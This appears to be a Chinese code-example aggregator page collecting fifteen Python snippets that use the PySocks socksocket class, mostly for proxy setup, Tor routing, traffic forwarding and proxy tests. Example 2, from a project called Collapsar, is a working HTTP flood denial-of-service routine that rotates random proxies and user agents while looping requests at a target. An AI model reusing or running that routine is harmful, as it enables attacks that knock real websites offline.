当前位置: 首页>>代码示例>>Python>>正文


Python socks.socksocket方法代码示例

本文整理汇总了Python中socks.socksocket方法的典型用法代码示例。如果您正苦于以下问题:Python socks.socksocket方法的具体用法?Python socks.socksocket怎么用?Python socks.socksocket使用的例子?那么, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在socks的用法示例。


在下文中一共展示了socks.socksocket方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。

示例1: __init__

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def __init__(self, server, config = None):
        threading.Thread.__init__(self)
        self.daemon = True
        self.config = config if config is not None else SimpleConfig()
        self.lock = threading.Lock()
        self.is_connected = False
        self.debug = False # dump network messages. can be changed at runtime using the console
        self.message_id = 0
        self.unanswered_requests = {}
        # are we waiting for a pong?
        self.is_ping = False
        # parse server
        self.server = server
        self.host, self.port, self.protocol = self.server.split(':')
        self.port = int(self.port)
        self.use_ssl = (self.protocol == 's')
        self.proxy = self.parse_proxy_options(self.config.get('proxy'))
        if self.proxy:
            self.proxy_mode = proxy_modes.index(self.proxy["mode"]) + 1
            socks.setdefaultproxy(self.proxy_mode, self.proxy["host"], int(self.proxy["port"]))
            socket.socket = socks.socksocket
            # prevent dns leaks, see http://stackoverflow.com/questions/13184205/dns-over-proxy
            def getaddrinfo(*args):
                return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]
            socket.getaddrinfo = getaddrinfo 
开发者ID:mazaclub,项目名称:encompass,代码行数:27,代码来源:interface.py

示例2: atk

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def atk(): #Socks Sent Requests
	ua = random.choice(useragent)
	request = "GET " + uu + "?=" + str(random.randint(1,100)) + " HTTP/1.1\r\nHost: " + url + "\r\nUser-Agent: "+ua+"\r\nAccept: */*\r\nAccept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: 0\r\nConnection: Keep-Alive\r\n\r\n" #Code By GogoZin
	proxy = random.choice(lsts).strip().split(":")
	socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, str(proxy[0]), int(proxy[1]))
	time.sleep(5)
	while True:
		try:
			s = socks.socksocket()
			s.connect((str(url), int(port)))
			if str(port) =='443':
				s = ssl.wrap_socket(s)
			s.send(str.encode(request))
			print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
			try:
				for y in range(per):
					s.send(str.encode(request))
				print(Fore.CYAN + "ChallengeCollapsar From ~[" + Fore.WHITE + str(proxy[0])+":"+str(proxy[1])+ Fore.CYAN + "]") #Code By GogoZin
			except:
				s.close()
		except:
			s.close() 
开发者ID:GogoZin,项目名称:Collapsar,代码行数:24,代码来源:collapsar.py

示例3: __init__

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def __init__(self, sock=None, map=None, conn=True, verbose=False):
        self.out_buffer=b""
        self.verbose=verbose
        self.allsent=False
        if conn is True:
            #get the original dst address and port
            odestdata = sock.getsockopt(socket.SOL_IP, SO_ORIGINAL_DST, 16)
            _, port, a1, a2, a3, a4 = struct.unpack("!HHBBBBxxxxxxxx", odestdata)
            address = "%d.%d.%d.%d" % (a1, a2, a3, a4)
            if self.verbose:
                display('[+] Forwarding incoming connection from %s to %s through the proxy' % (repr(sock.getpeername()), (address, port)))
            #connect to the original dst :
            self.conn_sock = socks.socksocket()
            #self.conn_sock.settimeout(15)
            self.conn_sock.connect((address, port))

            self.sock_class=Socks5Conn(sock=self.conn_sock, conn=self) #add a dispatcher to handle the other side
        else:
            self.sock_class=conn
            self.conn_sock=None
        asyncore.dispatcher.__init__(self, sock, map) 
开发者ID:n1nj4sec,项目名称:pr0cks,代码行数:23,代码来源:pr0cks.py

示例4: __nat_type_test

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def __nat_type_test(self):

		s = socks.socksocket(socket.AF_INET, socket.SOCK_DGRAM)
		s.set_proxy(socks.PROXY_TYPE_SOCKS5, LOCAL_ADDRESS, LOCAL_PORT)
		sport = config["ntt"]["internal_port"]
		try:
			logger.info("Performing UDP NAT Type Test")
			t, eip, eport, sip = pynat.get_ip_info(
				source_ip=config["ntt"]["internal_ip"],
				source_port=sport,
				include_internal=True,
				sock=s
			)
			return t, eip, eport, sip, sport
		except:
			logger.exception("\n")
			return None, None, None, None, None
		finally:
			s.close() 
开发者ID:NyanChanMeow,项目名称:SSRSpeed,代码行数:21,代码来源:speed_test.py

示例5: ping_check

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def ping_check(self, address, port, count=0):
        """Ping check for check port open."""
        with socks.socksocket() as sock:
            if self.tor_network:
                sock.setproxy(
                    socks.PROXY_TYPE_SOCKS5,
                    self.ini.read('TOR', 'HOST'),
                    int(self.ini.read('TOR', 'PORT')))
            try:
                sock.connect((address, port))
                return True
            except Exception as e:
                if count > 10 or '0x05' in e.msg:
                    return False

                return self.ping_check(address, port, count+1) 
开发者ID:bunseokbot,项目名称:darklight,代码行数:18,代码来源:socket.py

示例6: connectTor

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def connectTor():
	try:
		port = 9050
		# Set socks proxy and wrap the urllib module
		socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', port)
		socket.socket = socks.socksocket

		# Perform DNS resolution through the socket
		def getaddrinfo(*args):
			return [(socket.AF_INET, socket.SOCK_STREAM, 6, '', (args[0], args[1]))]

		socket.getaddrinfo = getaddrinfo
	except:
		e = sys.exc_info()[0]
		print("Error: %s" % e + "\n## Can't establish connection with TOR") 
开发者ID:MikeMeliz,项目名称:TorCrawl.py,代码行数:17,代码来源:torcrawl.py

示例7: connect

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def connect(self):
		self.sock = socks.socksocket()
		self.sock.setproxy(*self.proxyargs)
		if isinstance(self.timeout, float):
			self.sock.settimeout(self.timeout)
		self.sock.connect((self.host, self.port)) 
开发者ID:moneymaker365,项目名称:plugin.video.ustvvod,代码行数:8,代码来源:connection.py

示例8: connect

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def connect(self) -> socket:
        try:
            sockt = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM)
            sockt.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            if self.proxy is not None:
                sockt.set_proxy(socks.SOCKS5, self.proxy["host"], self.proxy["port"])
            sockt.connect((self.ip, self.port))
            return sockt
        except Exception as e:
            print(e) 
开发者ID:Benehiko,项目名称:ReolinkCameraAPI,代码行数:12,代码来源:RtspClient.py

示例9: socket_HTTP_test

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def socket_HTTP_test():
    s = socks.socksocket()
    s.set_proxy(socks.HTTP, "127.0.0.1", 8081)
    s.connect(("ifconfig.me", 80))
    s.sendall(raw_HTTP_request())
    status = s.recv(2048).splitlines()[0]
    assert status.startswith(b"HTTP/1.1 200") 
开发者ID:nil0x42,项目名称:phpsploit,代码行数:9,代码来源:sockstest.py

示例10: socket_SOCKS4_test

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def socket_SOCKS4_test():
    s = socks.socksocket()
    s.set_proxy(socks.SOCKS4, "127.0.0.1", 1080)
    s.connect(("ifconfig.me", 80))
    s.sendall(raw_HTTP_request())
    status = s.recv(2048).splitlines()[0]
    assert status.startswith(b"HTTP/1.1 200") 
开发者ID:nil0x42,项目名称:phpsploit,代码行数:9,代码来源:sockstest.py

示例11: socket_SOCKS5_test

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def socket_SOCKS5_test():
    s = socks.socksocket()
    s.set_proxy(socks.SOCKS5, "127.0.0.1", 1081)
    s.connect(("ifconfig.me", 80))
    s.sendall(raw_HTTP_request())
    status = s.recv(2048).splitlines()[0]
    assert status.startswith(b"HTTP/1.1 200") 
开发者ID:nil0x42,项目名称:phpsploit,代码行数:9,代码来源:sockstest.py

示例12: SOCKS5_connect_timeout_test

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def SOCKS5_connect_timeout_test():
    s = socks.socksocket()
    s.settimeout(0.0001)
    s.set_proxy(socks.SOCKS5, "8.8.8.8", 80)
    try:
        s.connect(("ifconfig.me", 80))
    except socks.ProxyConnectionError as e:
        assert str(e.socket_err) == "timed out" 
开发者ID:nil0x42,项目名称:phpsploit,代码行数:10,代码来源:sockstest.py

示例13: SOCKS5_timeout_test

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def SOCKS5_timeout_test():
    s = socks.socksocket()
    s.settimeout(0.0001)
    s.set_proxy(socks.SOCKS5, "127.0.0.1", 1081)
    try:
        s.connect(("ifconfig.me", 4444))
    except socks.GeneralProxyError as e:
        assert str(e.socket_err) == "timed out" 
开发者ID:nil0x42,项目名称:phpsploit,代码行数:10,代码来源:sockstest.py

示例14: socket_HTTP_IP_test

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def socket_HTTP_IP_test():
    s = socks.socksocket()
    s.set_proxy(socks.HTTP, "127.0.0.1", 8081)
    s.connect(("133.242.129.236", 80))
    s.sendall(raw_HTTP_request())
    status = s.recv(2048).splitlines()[0]
    assert status.startswith(b"HTTP/1.1 200") 
开发者ID:nil0x42,项目名称:phpsploit,代码行数:9,代码来源:sockstest.py

示例15: socket_SOCKS4_IP_test

# 需要导入模块: import socks [as 别名]
# 或者: from socks import socksocket [as 别名]
def socket_SOCKS4_IP_test():
    s = socks.socksocket()
    s.set_proxy(socks.SOCKS4, "127.0.0.1", 1080)
    s.connect(("133.242.129.236", 80))
    s.sendall(raw_HTTP_request())
    status = s.recv(2048).splitlines()[0]
    assert status.startswith(b"HTTP/1.1 200") 
开发者ID:nil0x42,项目名称:phpsploit,代码行数:9,代码来源:sockstest.py


注:本文中的socks.socksocket方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。